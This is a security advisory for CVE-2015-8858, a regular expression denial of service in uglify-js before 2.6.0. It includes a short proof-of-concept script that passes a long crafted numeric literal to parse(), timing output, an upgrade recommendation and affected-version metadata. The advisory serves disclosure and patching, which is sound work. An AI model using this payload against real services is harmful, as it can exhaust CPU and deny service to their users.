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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWM5ZjQteGoyNC04anF4

Regular Expression Denial of Service in uglify-js

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Permalink: https://github.com/advisories/GHSA-c9f4-xj24-8jqx
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWM5ZjQteGoyNC04anF4
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 6 years ago
Updated: about 1 year ago


CVSS Score: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-c9f4-xj24-8jqx, CVE-2015-8858
References: Blast Radius: 47.6

Affected Packages

npm:uglify-js
Dependent packages: 26,568
Dependent repositories: 2,199,119
Downloads: 79,912,276 last month
Affected Version Ranges: < 2.6.0
Fixed in: 2.6.0
All affected versions: 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.2.4, 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.5.0
All unaffected versions: 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.7.5, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.5, 2.8.6, 2.8.7, 2.8.8, 2.8.9, 2.8.10, 2.8.11, 2.8.12, 2.8.13, 2.8.14, 2.8.15, 2.8.16, 2.8.17, 2.8.18, 2.8.19, 2.8.20, 2.8.21, 2.8.22, 2.8.23, 2.8.24, 2.8.25, 2.8.26, 2.8.27, 2.8.28, 2.8.29, 3.0.0, 3.0.1, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 3.0.9, 3.0.10, 3.0.11, 3.0.12, 3.0.13, 3.0.14, 3.0.15, 3.0.16, 3.0.17, 3.0.18, 3.0.19, 3.0.20, 3.0.21, 3.0.22, 3.0.23, 3.0.24, 3.0.25, 3.0.26, 3.0.27, 3.0.28, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.1.10, 3.2.0, 3.2.1, 3.2.2, 3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4, 3.3.5, 3.3.6, 3.3.7, 3.3.8, 3.3.9, 3.3.10, 3.3.11, 3.3.12, 3.3.13, 3.3.14, 3.3.15, 3.3.16, 3.3.17, 3.3.18, 3.3.19, 3.3.20, 3.3.21, 3.3.22, 3.3.23, 3.3.24, 3.3.25, 3.3.26, 3.3.27, 3.3.28, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.7, 3.4.8, 3.4.9, 3.4.10, 3.5.0, 3.5.1, 3.5.2, 3.5.3, 3.5.4, 3.5.5, 3.5.6, 3.5.7, 3.5.8, 3.5.9, 3.5.10, 3.5.11, 3.5.12, 3.5.13, 3.5.14, 3.5.15, 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.6.4, 3.6.5, 3.6.6, 3.6.7, 3.6.8, 3.6.9, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 3.7.4, 3.7.5, 3.7.6, 3.7.7, 3.8.0, 3.8.1, 3.9.0, 3.9.1, 3.9.2, 3.9.3, 3.9.4, 3.10.0, 3.10.1, 3.10.2, 3.10.3, 3.10.4, 3.11.0, 3.11.1, 3.11.2, 3.11.3, 3.11.4, 3.11.5, 3.11.6, 3.12.0, 3.12.1, 3.12.2, 3.12.3, 3.12.4, 3.12.5, 3.12.6, 3.12.7, 3.12.8, 3.13.0, 3.13.1, 3.13.2, 3.13.3, 3.13.4, 3.13.5, 3.13.6, 3.13.7, 3.13.8, 3.13.9, 3.13.10, 3.14.0, 3.14.1, 3.14.2, 3.14.3, 3.14.4, 3.14.5, 3.15.0, 3.15.1, 3.15.2, 3.15.3, 3.15.4, 3.15.5, 3.16.0, 3.16.1, 3.16.2, 3.16.3, 3.17.0, 3.17.1, 3.17.2, 3.17.3, 3.17.4